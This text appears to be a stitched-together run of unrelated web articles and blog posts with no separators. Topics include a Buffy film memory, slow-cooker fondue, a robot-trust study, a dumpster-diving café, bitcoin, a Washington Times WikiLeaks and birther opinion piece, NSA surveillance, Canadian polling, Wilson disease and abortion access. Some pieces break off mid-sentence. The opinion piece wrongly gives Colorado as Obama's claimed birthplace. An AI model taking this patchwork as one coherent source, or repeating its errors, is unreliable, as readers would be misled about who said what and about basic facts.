For a rare few (me included), the movie came before the television show. Teenage me loved the movie so much I refused to watch ‘the other thing’. Now it seems absolutely crazy to me because the show means a lot to me, but I’m a fan that is still able to watch the movie with a great affection mostly because the two seem so separate.
If you’re interested, The Origin comic does a pretty nice job of adapting the original work to comic form. While Buffy lives on in her Dark Horse comic series, I still hope that elements of that original movie will make an appearance again in some form – I miss you and your motorbikes, Pike.
AdvertisementsI recently got a bee in my bonnet that I wanted to get a slow cooker! I mean seriously I am a vegetarian of 30 years……… what do I need a slow cooker for? It’s the very same question Michael asked. He soon quietened down when I bought this amazingly easy slow cooker butterscotch fondue to the table.
In the summertime I love to make food that I can share with friends and family, especially food that can be eaten outside while enjoying the sunshine or a warm summer evening. This makes a great dessert to share because people can have as little or as much as they like. You can use whatever is at hand for dipping. I used a combination of fruit, bananas, raspberries, grapes, nectarines, blackberries and mango. I also used some cherry almond muffins (recipe coming soon) chopped up for dipping.
Slow Cooker
As I said before I don’t really know why I wanted a slow cooker so much, I think it was seeing all those lovely fruity oatmeal recipes on other people’s blogs that looked so delicious and so effortless to make. I am all for experimenting and giving things a go, so when no one was looking I bought myself a small slow cooker as a compromise (because it wouldn’t take up so much cupboard space!) then stashed it in the back of the cupboard wondering what to actually do with it?
It was going to have to be something sweet – obviously! – and I didn’t fancy one of those lovely fruity oatmeals I had seen all over the internet. I also needed a shareable dessert and wanted minimum fuss. It was a hot day so I didn’t want the oven on for a long period of time. While surfing the internet I came across this recipe from Better Homes and Gardens and it was the perfect solution to what I needed.
This is a lovely rich golden sweet sauce with a thickness that is perfect for dipping in yummy treats.
It also makes a great topping for ice cream if you know someone who is not a fan of dipping their treats.
Original recipe from bhg.comSuper God as a company is quite young but we’re already going through a good amount of changes. First off, we’ve recently switched our primary game concept from a relatively large platformer to a more manageable one. Secondly, we moved from our hand-crafted C++ engine to GameMaker: Studio. Finally, our programming department went through some drastic changes and the new people have been familiarizing themselves with the new software.
Changes are stressful and that’s not a joke. Some people work well under stress but that hardly applies to everyone. If things are constantly changing it can signal to people that what they’re doing doesn’t matter. Now, it would appear that we have finally found a path that we can lock into and we’re feeling positive about our current project: Riptale.
While the programming department is still finding their feet with GameMaker, we also found people who can help us out with the graphics and the social media side of things. We do believe that we’re making a great product, which of course is essential no matter the field. People want to know what you’re doing and you want to tell them. This type of communication just eats up a lot of man-hours. A dedicated social media person can make all the difference.That may be because so much of how people perceive robots has to do with Hollywood. Humans hear “robots” and “artificial intelligence” and think of C3PO and Hal. They don’t necessarily think of bomb-detonating robots, fire-fighting robots, warehouse-organizing robots, algorithms, and all the other machines and bits of software that are already doing real work in our world.
There’s other research that supports the idea that many humans are still muddled in their assessment of robot work. On Thursday, for instance, roboticists from Georgia Tech presented to the International Human-Robot Interaction Conference the results of a series of experiments designed to see how much humans trust robots in emergency scenarios.
In the experiments, 26 human participants were given the impression that their main task was to assess a guide robot as it led them, individually, to a conference room. In the room, there was a survey to be completed. (Questions on the survey included things like, “Did the robot do a good job guiding you to the meeting room?”) But while participants were recording their responses, a machine would release artificial smoke in the hallway, making it appear as though a real evacuation was necessary. The researchers then waited to see whether the human participants would evacuate on their own or follow the robot’s guidance.
What happened was surprising. People overwhelmingly trusted the robot. More than 80 percent of the participants said so explicitly, and some 85 percent of the overall group said they would follow the robot in a future emergency.
Here’s where the findings become troubling: In a case where the robot clearly broke down as it was leading an evacuation—it spun in place repeatedly and its lights turned off—and even when all five of the human participants who encountered the broken robot later described the robot as a “bad guide,” four out of five participants still followed it. (One person saw an exit sign, and followed that instead.) Three of those four said they trusted the robot anyway, and two of them said they would follow it again in the future. “It is concerning that participants are so willing to follow a robot in a potentially dangerous situation even when it has recently made mistakes,” the researchers wrote.
One caveat, which the researchers pointed out: Humans often show poor judgment in emergency situations, including failing to evacuate because they believe there isn’t danger when there actually is. Nevertheless, the findings highlight a complicated problem for engineers building autonomous technologies. “[R]obots interacting with humans in dangerous situations must either work perfectly at all times and in all situations, or clearly indicate when they are malfunctioning,” the researchers wrote. “Both options seem daunting.”The practice of “dumpster diving” has been featured in reality TV shows and parodied on “Portlandia.” This summer, foods salvaged from supermarket dumpsters will play a central role in a very unusual Boston-area café.
A Tufts University student named Maximus Thaler is hoping to open an “underground restaurant and grocery store” in Somerville, Mass., this summer. It’ll be called The Gleaners Kitchen, and the menu will be determined by whatever discarded produce, herbs, meat, fish, and other ingredients he and other volunteers find in nearby dumpsters. What’s more, all food will be served for free to all comers.
A recently launched Kickstarter campaign to cover summertime rent and utilities for the Gleaners Kitchen has already surpassed its initial goal of $1,500. That led Thaler to announce a new goal of $2,500, with the idea the extra cash would pay for an upgraded “bike truck” that’d help his group gather goods during dumpster-diving runs. The pledge period ends April 18.
In recent years, some restaurants have been experimenting with pay-what-you-want menus. Most prominently, the Panera Bread chain has operated several cafes that only list “suggested” prices, and all of its four dozen restaurants in the St. Louis area just began offering at least one item—turkey chili—on a “pay what you want” basis.
(MORE: Marx’s Revenge: How Class Struggle Is Shaping the World)
Thaler’s initiative is different. It’s not a new business model. Most people wouldn’t call it a business at all. “I’m not opening a restaurant,” Thaler states in the Kickstarter video in which he and other volunteers retrieve cartons of thrown-away peppers, greens, and eggs behind a grocery store. “I’m inviting people into my home, and I’m sharing space with them.”
Yes, the plan is for the café to be run this summer out of a Somerville apartment where Thaler, currently a senior philosophy of science major at Tufts, will live. It’ll be open 24 hours a day, with coffee, tea, and soup available at all hours. As Boston Magazine reported, a meal will be served daily at 6 p.m. The Gleaners Kitchen also expects to host special events on weekends (informal concerts, poetry readings, academic lectures), and orders for meals delivered via bike can be placed via text message. Everything will be free of charge, though donations will be welcomed.
In an interview with the Boston Globe, Thaler said that everything gathered in dumpster-diving outings is inspected and washed, and all goods that are inedible are discarded. Beyond feeding hungry people, Thaler said the Gleaners Kitchen’s mission is to get people to think differently about food—and money, and what society throws away so casually:
“Food is not a commodity, it’s not this thing where you pay something to get something, it’s to share and build a community around,” he said. “And that’s what I’m trying to do, build a community.”
(MORE: Meet Yale’s Dumpster-Diving Foodies)
Thaler claims that he knows what he’s getting into with The Gleaners Kitchen as well. He told Boston Public Radio that he’s experienced at cooking for large groups, he’s been “dumpstering” for several years, he’s aware of what’s legal and illegal regarding the practice, and he’s well-versed in the area’s best supermarkets for the gathering of food that’s been thrown away but is still safe to eat — and perhaps even tasty.PRETTY DEADLY is a new series from Kelly Sue DeConnick and Emma Rios that we've been waiting for for what feels like some time. We talked to Kelly Sue back in March on the podcast and if you've seen any images from Emma, you have an idea how exciting this looks. Some of us have already started arguing over who gets to review the first issue.
Today, Image Comics has released a new preview for the first issue, due on October 23. Mark your calendar and let your local comic shop know you're interested.
Ginny is Death’s daughter, a reaper of vengeance. She rides through the West on a horse made of smoke, her face tattooed with her heritage, and deals in revenge. She is the mysterious, elusive center of PRETTY DEADLY, the first creator-owned comics series by acclaimed writer Kelly Sue DeConnick (Captain Marvel, Ghost, Osborn) and artist Emma Ríos (The Amazing Spider-Man, Osborn), coming from Image Comics in October.
Simultaneously beautiful and savage, PRETTY DEADLY will unfold over the course of an ongoing story that DeConnick and Ríos developed together, creating a world and characters that are entirely their own. At the same time, DeConnick and Ríos say, it’s almost as if PRETTY DEADLY has a will of its own that guides the action.
“The book is absorbing us while breathing on its own,” said Ríos. “Sometimes I feel we are hidden behind a rock, gasping, watching the characters do their things.”
“This book has defied my directives at every turn, but made it up to me in a series of goosebump moments where things came together as if by magic,” said DeConnick.
Having worked together on Marvel’s Osborn, DeConnick and Ríos found common ground in their love of Westerns and Japanese cinema for PRETTY DEADLY. DeConnick was inspired by spaghetti westerns, Japanese “pinky violence” films, and Grimm’s fairy tales, while Ríos found her visual language for the series by absorbing both Westerns and samurai films. Colorist Jordie Bellaire (THE MANHATTAN PROJECTS, NOWHERE MEN) maintains the earthy, dusty atmosphere of the art, as well as the magical tone of the story, thanks to a subdued palette punctuated with bursts of vivid color.
“We wanted a very Leone feel to it. As we worked, I felt we were straying from that original notion and though I came to love the direction the book insisted on going, I felt a twinge of grief at the loss of the Leone connection. I don't know why, but I did,” said DeConnick. “Then a friend of mine quoted this Leone line to me: ‘The important thing is to make a different world, to make a world that is not now. A real world, a genuine world, but one that allows myth to live. The myth is everything.’ So in the end, it seems we haven't strayed at all.“
The first issue of an ongoing series, PRETTY DEADLY #1 will be in stores on October 23and can be pre-ordered from the August issue of Previews (AUG130504).More merchants are accepting the virtual currency, and speculators are having a field day.
Call it currency for the digital age. With a bitcoin, there's no paper or hard metal to change hands. So why is this virtual coinage receiving so much attention? Because in early May, 11 million bitcoins worth $1.3 billion were in circulation (the maximum that can be created is 21 million bitcoins). Every hour, an average of 2,000 transactions take place and roughly 33,000 bitcoins trade hands.
See Also: 5 Things to Know About Mobile Wallets
Bitcoins are created, or "mined," using complex computer codes, and transactions are processed and confirmed between PCs. You use conventional currency, such as dollars or euros, to buy them at an exchange (such as BitInstant.com or MtGox.com), and you store them on your computer. You spend your bitcoins at merchants that will accept them — and dozens do. Some sites, such as Bitcoinstore.com and Bitcoinin.com, even aggregate goods you can buy with the currency. One site, Bitspend.net, will help you spend your bitcoins anywhere — for a fee — even if the merchant doesn't accept them.
How much is a bitcoin worth? Good question. Speculators are driving the value. A bitcoin was worth just over $20 in January. The value surged to $230 in April, then plunged to $68 a week later.
Still, "virtual currencies are not going away anytime soon," says Aleia Van Dyke, an analyst at Javelin Strategy & Research. The government is starting to take notice. Take the virtual currency that federal prosecutors say Liberty Reserve, an online currency exchange, used to run a $6 billion money laundering operation. That digital currency, according to the indictment, was commonly referred to as "LR. "The U.S. Treasury Department's Financial Crimes Enforcement Network recently issued guidelines that bring those that issue or exchange virtual currencies, including bitcoins, under its regulations.ANALYSIS/OPINION:
The WikiLeaks disclosures, coming now on a daily basis, are such interesting reading that agents of the Clinton campaign are working overtime to divert attention from them, particularly the revelations in the emails of the campaign manager, John Podesta. Hillary insists that the hacking of his email account was sponsored, directed or financed by Vladimir Putin, who in this telling even rewrote them to reflect badly on both Mr. Podesta and Hillary. There’s no evidence of Russian connivance, just speculation.
Hillary characterizes Donald Trump as a swamp-dwelling wacko who, when he isn’t harassing or talking dirty about women, spins conspiracy theories from his imagination. She traces the “Obama wasn’t born here” story to Donald Trump, who did in fact embrace “birtherism” at the time that Sidney Blumenthal, Hillary’s ubiquitous hit man, was peddling “birtherism” to any journalist who would listen. Many did.
Mr. Blumenthal and his confederates worked fertile ground; the “Kenyan birth” story was the hottest tidbit in town as the Democrats gathered for their convention in Denver in 2008. Mr. Obama did not try very hard to squelch the rumor, then or for months afterward. Nor did the humbled remnants of the Clinton campaign, including Hillary herself, discourage reporters in pursuit of the rumor. Rumormongers abounded in Denver throughout that week.
The tranche of WikiLeaks memos provides credible evidence that her campaign seriously considered a full-court spread of the birther story, only later proved false, that Mr. Obama was in fact born in Kenya, his father’s native country, and not Colorado. WikiLeaks reveals that in 2008 Mr. Podesta received and forwarded a number of emails about a poll taken by a leading Democratic polling firm testing whether pushing the story that Mr. Obama was foreign-born would work for Hillary’s campaign.
Paul Begala, a Clinton loyalist who has always been ready to defend anything either Hillary or Bubba did or said, dismissed the story of the poll, taken at the beginning of the long Clinton-Obama struggle. The Clinton campaign was focused early in 2008 not on the general election, but on taking down the upstart senator from Illinois so he could not spoil a coronation.
Once the birther story grew legs, Hillary appeared on the CBS program, “Sixty Minutes,” where she was asked whether Mr. Obama was born in the United States as he claimed. She replied sweetly that he was, and added, “as far as I know.” An answer like this was intended to be taken by the unwary as “probably not.” The answer was markedly similar to some of the answers she gave to the FBI and others when she was peddling the story that she had never lied or done anything illegal in her extensive email correspondence.
Many Americans haven’t heard about the WikiLeaks disclosures because a part of the mainstream media, so called, has decided there’s nothing to see, just move along. Donald Trump has called out this media as part of a conspiracy, but it’s worse than that. It’s a vast left-wing media consensus.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.What we’re looking at appears to be the first ever look at what the successor of the Lumia 520 (the world’s most popular Windows Phone). Above we can see a guide displaying the available WP 8.1 devices, and alongside the Lumia 930 and 630 we can also the the yes unannounced Lumia 530.
We’ve previously heard mention that the Lumia 530 will be heading to T-Mobile under the code name “Nokia Rise”; and now we have an image to accompany the name.
We can learn a couple details about the upcoming phone from the image above including:
No physical navigation keys (using the same on screen keys like the 630)
possible 4.3″ screen (the screen is slightly smaller than that of the 630; which is a 4.5″)
No front facing camera
One other important factor fans will be happy to see is the presence of the Nokia logo, even after the Microsoft buyout. Nokia seem to have tweaked the body design, moving away from that of the 520 and 525, and inching close to the rounded edges of the 620 and 630 (in fact it’s starting to remind me of the Lumia 822). If Nokia/Microsoft manage to pair this up with 1Gb of ram, and a ultra cheap price like its successor they might have another killer on their hands.
So what do you guys think?A freckle-faced boy with a shock of red hair pledged his birthday money last August to save a doomed chestnut Thoroughbred from the Canadian slaughter pipeline when nobody else would.
Brandon, 9, of Ontario says he couldn’t bear the thought of the pretty ex-racehorse, whose looks reminded him of his own, going to slaughter. So after his mother MJ Allen explained to him that 17-year-old mare Karazan has been purchased by a meat buyer and would likely go to the slaughterhouse, he asked her to spend his birthday money to save her instead.
“I did it because nobody else was going to buy her,” Brandon says. “And I saw her hair was the same, exact color as my hair. And I wanted to save her because I love horses.”
His offer floored his mother, who was so proud of her son’s generosity and compassion that she cobbled together $650 with the help of some friends and purchased the mare from an online site that offers horses who have already been sold to a meat seller, a last chance to go to a willing buyer.
Karazan
Sire: Kayrawan
Dam: Regents Glory
Foal date: April 1, 1998Allen explains: “I recently found out about this website, Need You Now Equine, and I was watching this mare Karazan because nobody seemed interested in her. My son noticed and asked what I was doing, and when I explained it to him, that’s when he said, ‘Mummy, my birthday’s coming up. Just give my birthday money to them. I don’t want the horse to die.’ ”
A few days later, the Ontario mother announced she had a surprise for Brandon. “I thought I was in trouble,” says Brandon. But, the news was much better: Karazan had been saved from slaughter. And better still, the horse was now his!
“When I told him the horse had found a home he started jumping up and down,” Allen says. “And then I said, ‘She’s yours!’ and he went nuts.
In late August, a couple of weeks before he turned 9, the best birthday present of his life rolled down the driveway.
After years of begging for a horse of his own Brandon got his wish on Aug. 22, and Karazan got hers, too.
“Karazan’s already spoiled,” says Allen, who notes that she has given her son beautiful rides on their small horse farm, where Brandon and Karazan will create lifelong memories.
“She’s his best friend. He’s always out grooming her and whenever he feels down, he walks out into the field with carrots in his hand to talk to his new buddy,” Allen says. “They’re a perfect match; She was meant to be with him.”Now, don’t get me wrong. Maybe Trump could win the election against Hillary. In fact, maybe any of the candidates could, if she gets weak enough.
So I’m not doubting the possibility of it. But I doubt the motives of the NY Times or Politico or other left-leaning periodicals when they continue to say he will do well against Clinton, in the absence of evidence that he would do any better against her than other Republican candidates, and the presence of evidence that he would actually do worse against her than they would.
It’s also curious to me that none of these articles seem to actually analyze the polls to come to their conclusions. I have looked at the polls, and continue to do so, and have come to the conclusion that, at least so far, they indicate that Trump would be the weakest candidate of the GOP frontrunners in a head-to-head against Clinton.
That doesn’t mean it couldn’t change—it most definitely could. But so far it hasn’t. Everything else is speculation.
So here’s the latest from Politico on the subject. The author asserts that Trump would do well with blacks; I’ve seen that said before, but I’ve never seen a poll that indicates Trump does better than the other GOP candidates with black voters in a one-on-one contest with Hillary. Wouldn’t you want to see that evidence in order to believe that it’s true? I would. After all, there’s no reason it couldn’t be true. If I had to guess, without looking at any polls, I’d say it certainly might be true.
But what’s true is that, although I’ve looked at many polls, I’ve not found one that supports it. Notice also that the Politico article on how Trump could win (entitled “How Trump Defeats Hillary Clinton”) talks about how Trump might or could defeat Clinton, according to his supporters and to “Republican pollsters,” but doesn’t link to any polls that show it or that show his support from blacks. The most you read there about it is that Frank Luntz says he’s talked to some black people who voted for Obama and who say they would consider voting for Trump. How many? What percentage? How many of them said they would consider voting for the other Republicans? Crickets.
And despite the fact that opinions are all the article cites to support the idea, the article’s lede goes like this:
If Donald Trump becomes the next president of the United States, there will be plenty of surprises along the way. One of the biggest will be the help he gets from black voters. According to Republican pollsters and Trump’s allies, the GOP poll-leader ”” who has been dogged by accusations of racism, most recently for tweeting out a chart that exaggerated the share of murders committed by blacks ”” is poised to out-perform with this demographic group in a general-election matchup with Hillary Clinton.
I can’t escape the idea that the liberal/left press is pushing a Donald Trump candidacy because they feel he’s actually the weakest candidate.
As far as polls that actually attempt to measure the amount of black support for the various candidates go, I recently analyzed the numbers here:
If you look closely at questions 22-25 in that poll, which was taken January 4-7 and involved a sample of 1006 respondents queried by telephone (cell and landline), you will see that Trump does slightly worse against Hillary among Democrats and among black voters than the other leading GOP candidates do. Take a look if you don’t believe me””and these are typical of results I’ve seen in earlier polls. In a matchup against Hillary, Cruz gets 11% of those identifying as Democrats, whereas Hillary gets 6% of people who say they are Republicans. Rubio gets 12% of Democrats against Hillary’s 5% of Republicans, a trifle better. Bush (remember him?) gets 10% of Democrats to Hillary’s 7% of Republicans, a tiny bit worse. And Trump gets 9% of Democrats to Hillary’s 8% of Republicans, which is a bit worse, although they all cluster rather closely together and the differences are not so very significant. Against Hillary, Cruz gets 5% of the black vote, but Rubio gets 9% of the black vote. Could be significant, I suppose. Bush gets 6% of the black vote against her. And Trump? 4% of the black vote. Again””except perhaps for Rubio””they all are very similar, but Trump does slightly worse.
Most polls don’t break the support of each candidate down by race, which is what enables people to speculate airily on the subject. But some polls do, and that’s what they say.
The most recent national poll available doesn’t have a breakdown that measures black support for each GOP candidate, either. But it does have head-to-head numbers for the GOP lead candidates against Clinton. The news for Trump there certainly contradicts the Politico piece and all the hype—because once again Trump does very poorly against her (the questions were asked by NBC/WSJ between January 9-13).
In a matchup against Clinton, here’s how the candidates do. I’ve reported the Clinton figure first in each case:
Clinton/Trump 51/41
Clinton/Rubio 47/46
Clinton/Cruz 49/45
This is consistent with every single poll I’ve seen during the last few months. Sometimes all the Republicans win, sometimes they all lose (except Rubio, who consistently beats her). But Trump always does the worst. Now it’s possible there’s some poll I haven’t seen, but I’ve been following this fairly closely for a long, long time, and the trends are extremely clear. One poll or another tends not to tell the whole story, but the average tells you a lot more, although nothing’s infallible.
That NBC/WSJ poll had some other interesting figures, too. In the same poll, Sanders beats Trump 54/39 (the pollsters didn’t ask about Sanders versus the other candidates; at least, I didn’t see any questions about it.). Also, respondents who were likely to vote in the GOP primary were asked about 2-person battles within the primary. If the only choice were Trump vs. Rubio, Trump would win the primary 52 to Rubio’s 45. That seems to reflect the conservative distaste for Rubio, although Rubio polls best against Clinton. But if the two-person primary race were Trump versus Cruz, Cruz would beat Trump 51 to Trump’s 43. That indicate that, if people were to drop out of the race (if they ever manage to do so), Cruz would probably get the nomination, if this poll is accurate and trends remained the same.
I haven’t noticed any newspaper highlighting that finding. I wonder why (that’s sarcasm, by the way).Nearly one-quarter of Pittsburghers live without internet access in their home. Without the web, many families are cut off from job opportunities or |
January, US intelligence uses bulk collection for, “Counterintelligence, counterterrorism, counter-proliferation, cybersecurity, force protection for our troops and our allies, and combating transnational crime, including sanctions evasion.”
Alexander is also artfully distracting attention away from the vastness of the dragnet by focusing on accessing of the data instead of collection.
It is known, because of Snowden, that the NSA operated a PRISM program giving it direct access to users’ data from tech companies like Facebook, Google, Microsoft, Skype and Yahoo. The NSA mapped Americans’ social connections, searched the contents of emails and text messages to and from the country, deployed analysts and tried to recruit informants in online games like World of Warcraft, and over a decade collected the metadata of Americans’ emails. The NSA has also operated a program collecting cellphone location data from around the world that collects Americans’ data, which the NSA contends is not protected by the Fourth Amendment.
The agency has a hoarding complex. It also is not indisputable that surveillance has not been abused for political purposes. The Intercept reported on evidence of covert surveillance against WikiLeaks and its supporters. Does that strike anyone as non-political surveillance activity?
So, when Alexander says, “Any objective analysis shows that Americans’ privacy rights are protected much more than you find in most other countries, and certainly our civil liberties are vastly superior to what you find in China and Russia,” that does not make American Big Brother more acceptable.
When confronted on NSA’s record of undermining encryption standards, Alexander declares, “NSA is a cryptographic agency that has had responsibility for both making and breaking codes since WWII. This is what NSA does.”
Later in the interview, he adds, “To ask NSA not to look for weaknesses in the technology that we use, and to not seek to break the codes our adversaries employ to encrypt their messages is, I think, misguided. I would love to have all the terrorists just use that one little sandbox over there so that we could focus on them. But they don’t.” All of which will not give technology companies any peace of mind.
It is toward the end of the interview when Joye finally dives into the issue of Snowden. Alexander rehashes the typical He-Could-Have-Gone-Through-Proper-Channels talking points officials recite, which are disingenuous, misleading and, at this point, rather nauseating. (For a complete deconstruction of that, see here.)
Alexander complains about criticism from “global media” as a result of coverage of documents from Snowden.
…I think the biggest mistake global media have made is projecting the incorrect perception that NSA is collecting the content of all Americans’ phone calls and emails, and reading this material, when we are doing neither of these things. The reality is that under the FISA laws, NSA must have a finding of probable cause and a warrant to target a specific American’s communications for collection…
That is not true. The NSA merely has to convince the Foreign Intelligence Surveillance Court that a person may be operating as an “agent of a foreign power” and then they can begin to target that American. This person could be from a foreign government, a “faction” in a foreign nation, a political organization in a foreign nation, a political organization or business controlled by a foreign government, someone who intelligence believes to be engaged in clandestine activity, which could mean a leaker, etc.
There doesn’t have to be probable cause that a crime is, has been or will be committed. Anyone who is suspicious enough becomes a target.
Alexander promotes an analysis by Lawfare of Snowden’s disclosures (where one of his favorite writers, Benjamin Wittes, works). The argument is that all this exposes America’s “foundational intelligence system” to attacks. (If that is the case, why isn’t Alexander condemning Lawfare for listing out specifics and putting together a one-stop shop of targets and vulnerabilities the terrorists could potentially go after? At least be consistent. If the Guardian or The Washington Post did this, Alexander would be irate.)
To prevent another “Snowden-like event,” Alexander explains, “We came up with 42 different improvements to our systems that we’re sharing not only domestically but also with our allies. So your folks at the Australian Signals Directorate have the same information about what we’re doing.” (Yeah, I know. “Your folks.” It’s a chummy interview.)
The former NSA director states, “I think [Snowden] is now being manipulated by Russian intelligence. I just don’t know when that exactly started or how deep it runs. But that’s my speculation as an intelligence professional.”
Maybe it is pure speculation lacking any factual basis and very similar to what Representative Mike Rogers has suggested previously but it is a good enough for Reuters and The Daily Beast to promote widely through headlines.
Finally, he gives his opinion on the Pulitzer Prize being awarded to The Guardian and Washington Post.
“I’m greatly disappointed that we have rewarded those who have put so many lives at risk. I think that’s the best way to say that.”
It outdoes former CBS correspondent John Miller’s infomercial for NSA immensely. But that is because online news is not constrained by time like the “60 Minutes” program.
There was no limit placed on Joye’s opportunity to bond with the former NSA chief. And, if Alexander wants to push his propaganda out into the world again, he’ll know who to call.NDP MP Olivia Chow, left, and NDP Leader Thomas Mulcair, right, attend the annual Church on Church Street service before Toronto’s Pride Parade on Sunday, June 30, 2013. (THE CANADIAN PRESS/Michelle Siu)
A new EKOS poll suggests that as Canadians get to know the leader of the NDP, they get to like him a bit better, too.
The survey, conducted between July 4-9, asked 2,900 Canadian adults if they approve or disapprove of how the leader of the Opposition, Thomas Mulcair, is handling his job.
In terms of approval, Mulcair came in at 33 per cent, which is an improvement from previous surveys. His disapproval rating was lower, and notably low for a leader of a political party, at 29 per cent. In an April EKOS poll, Mulcair’s approval rating was 26 per cent, with his disapproval at 30 per cent.
The numbers are good news for Mulcair, who’s often described as “Angry Tom,” and for the NDP, with two years before the next federal election to try and build on these slight gains.
EKOS pollster Frank Graves says increasing public awareness of who Mulcair is shows some correlation to the increase in his approval rating.
Graves adds that the party must have noticed these problems with their leader — who hasn’t been very well known or all that popular among Canadians — and so they’re trying to show the softer side of Mulcair, with a different tone and demeanour.
Conservative strategist Tim Powers says Mulcair’s people will probably be happy with these numbers.
“Mulcair’s challenge has been, while he’s been a good performer in the House of Commons, particularly towards the end of the last session, he hasn’t really connected it has seemed thus far with the electorate,” Powers said.
While many observers praised how Mulcair came out swinging with direct, pointed questions to Prime Minister Stephen Harper over the Wright-Duffy affair in question period, he’s never come near Liberal leader Justin Trudeau’s approval numbers, which have hovered between 40 and 45 per cent.
Trudeau, though, hasn’t received the same type of praise and has stumbled in the House of Commons on occasion, which suggests question period performance doesn’t necessarily mirror personal approval ratings.
Powers added that, to have any chance of making a good showing against Trudeau and Harper in the 2015 election, “it will be important for the NDP to at least get a sense that their leader is, at some level, connecting better with the public.”
The July poll was conducted through interactive voice response technology and surveyed those with landlines and cell phones. The margin of error with the survey is +/-1.8 per cent, 19 times out of 20.The symptoms of Wilson disease vary. The symptoms may be related to your liver, nervous system and mental health, eyes, or other organs. Gene mutations cause Wilson disease.
Wilson disease is a genetic disorder that prevents the body from removing extra copper, causing copper to build up in the liver, brain, eyes, and other organs. Without treatment, high copper levels can cause life-threatening organ damage.
Doctors treat Wilson disease with chelating agents and zinc. People who have Wilson disease need lifelong treatment to manage symptoms and reduce or prevent organ damage. If Wilson disease causes acute liver failure or cirrhosis with liver failure, you may need a liver transplant.
Doctors diagnose Wilson disease based on your medical and family history, a physical exam, an eye exam, blood tests, and urine tests. Doctors may also use a liver biopsy and imaging tests.
The National Institute of Diabetes and Digestive and Kidney Diseases (NIDDK) and other components of the National Institutes of Health (NIH) conduct and support research into many diseases and conditions.
If you have Wilson disease, talk with your doctor about your diet and foods that contain copper. When you start treatment for Wilson disease, your doctor may recommend avoiding foods that are high in copper, such as chocolate, liver, mushrooms, nuts, and shellfish.
This content is provided as a service of the National Institute of Diabetes and Digestive and Kidney Diseases (NIDDK), part of the National Institutes of Health. The NIDDK translates and disseminates research findings through its clearinghouses and education programs to increase knowledge and understanding about health and disease among patients, health professionals, and the public. Content produced by the NIDDK is carefully reviewed by NIDDK scientists and other experts.
The NIDDK would like to thank:
Valentina Medici, M.D., University of California, DavisAs a resident of Philadelphia and an abortion provider, I can tell you that the Gosnell case has gotten media coverage. But no one is talking about poor, under-insured, and under-served women.
A hospital buy-out means that Green Bay's only abortion clinic—one of five in the whole state—will no longer be allowed to provide abortion care.
High cost for good healthcare service via Shutterstock
Some reporters and media critics have claimed that not enough is being written about the trial of Dr. Kermit Gosnell, an illegal abortion provider who operated far outside the bounds of legitimate medical practice. In a recent column for USA Today, for example, Kirsten Powers claimed that the case is not receiving the attention that it deserves.
As a resident of Philadelphia and an abortion provider, I beg to differ. Gosnell’s atrocities have been covered widely. But what haven’t been covered as much as they should be are the reasons why the women who turned to Gosnell for abortion care were disproportionately low-income women of color who felt they had no other place to turn.
Whether you are a supporter or opponent of women’s health rights, or just interested in things related to reproductive justice, you should know that the Gosnell case has been written about steadily since February 2010, when Gosnell’s clinic was raided by the Drug Enforcement Administration and his license was suspended. The story was widely covered in the national mainstream media and by women’s health advocates in 2011 when the case’s Grand Jury report came out. So while the trial is news, there is little to no information that has not already been reported about Gosnell up to this point.
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Indeed, when Google renders about 9,000 hits in 0.15 sec using the search term “Kermit Gosnell,” it’s hard to say this story lacks attention.
But this case is about more than just a practitioner who did bad things. His case embodies the “off-the-grid” abortions we can expect to see in states like Mississippi and North Dakota, where anti-choice harassment and regulations purposefully pass to close all clinics providing legal, safe abortion care mean only one clinic is left in each state, and even those are under threat of being shut down.
Gosnell’s “Women’s Medical Society” was not an unknown entity. In fact, it was surrounded by well-known and respected hospitals and clinics. But because they adhere to safe abortion care practices and because health care is expensive generally, the cost of care at these clinics was often out of reach to women who, without public assistance, don’t have and cannot afford regular health care of any kind.
Gosnell’s operation bears no resemblance to safe abortion care. His entire “practice” was illegal: There were untrained medical “assistants” and abortions performed at viability without medical cause. His “clinic” was unsanitary and unsafe and what Carole Joffe has referred to as a “chamber of horrors.”
Moreover, in a gruesome quid pro quo, Gosnell charged on a “sliding scale” for anesthesia; you got more anesthesia the more money you paid, so the poorer you were, the more pain you suffered. Women who went to Gosnell may have known of other places to receive abortion care, but they were either beyond the legal time limit when they could get an abortion in the state, or they could not afford safe abortion care.
What this case reveals is that the cost of dignity in health care has risen, and the attack on poor women intensified.
These realities underscore the real missing headline. In 2011, the Grand Jury report stated, “We think the reason no one acted is because the women in question were poor and of color.” Almost all of Gosnell’s patients are identified as poor women of color. Still, the mainstream media is largely not paying attention to the issues of race and class inherent in this story, which contribute to the reasons why Gosnell could thrive. Poor, under-insured women are not getting acceptable health care of any kind, but because this story is about abortion, these usually invisible women are suddenly the subject of public pity by anti-choice activists. They were made to suffer until many lives were taken.
In an age of rising stigma, discrimination, widespread misinformation, and violence against providers, facts get trampled. What Gosnell underscores is a point that women’s health and rights advocates have long asserted: Women who need to terminate a pregnancy will go to desperate lengths to do so, and by isolating abortion care, we drive women to back-alley providers.
Anti-choice conservatives know this but seem not to care. Mississippi state Rep. Lester “Bubba” Carpenter (R-Burnsville) put it bluntly at an Alcorn County GOP meeting:
[Y]ou have the other side. They’re like, ‘Well, the poor pitiful women that can’t afford to go out of state are just going to start doing them [abortions] at home with a coat hanger.’ That’s what we’ve heard over and over and over. But hey, you have to have moral values. You have to start somewhere, and that’s what we’ve decided to do. (via the Maddow Blog)
These are the aspects of the story that Kirsten Powers and a handful of others in the media are missing completely. Powers claims that there’s a “deafening silence” in the media surrounding this story. Try coming to live in Pennsylvania—trust me, it is not quiet here. The real deafening silence is on the part of the Powers and other pundits and their inability to see or report on the effects of restrictions such as the Hyde Amendment.
Right now there are 13 freestanding providers of surgical abortion in Pennsylvania, down from 22 two years ago. Legitimate clinics have closed because of new regulations that have nothing to do with providing safe services. Act 122, first presented as HB 574 and SB 732, is the Department of Health Abortion Facility Oversight Act. Under Act 122, clinics that would have passed a routine inspection are now required to adhere to policies as an Ambulatory Surgical Facility. As a result, clinics in Pennsylvania saw more architectural changes than critique of patient advocacy.
Kristen Powers is clearly not in touch with what has been the reality of Pennsylvania abortion access since the Gosnell story broke. There is not one clinic in the 205-mile span between Harrisburg and Pittsburgh. In the 2013-14 session of the Pennsylvania legislature, SB 3 has been proposed to prohibit abortion from being placed for purchase on Pennsylvania’s health insurance exchange, which is a portion of the Affordable Care Act.
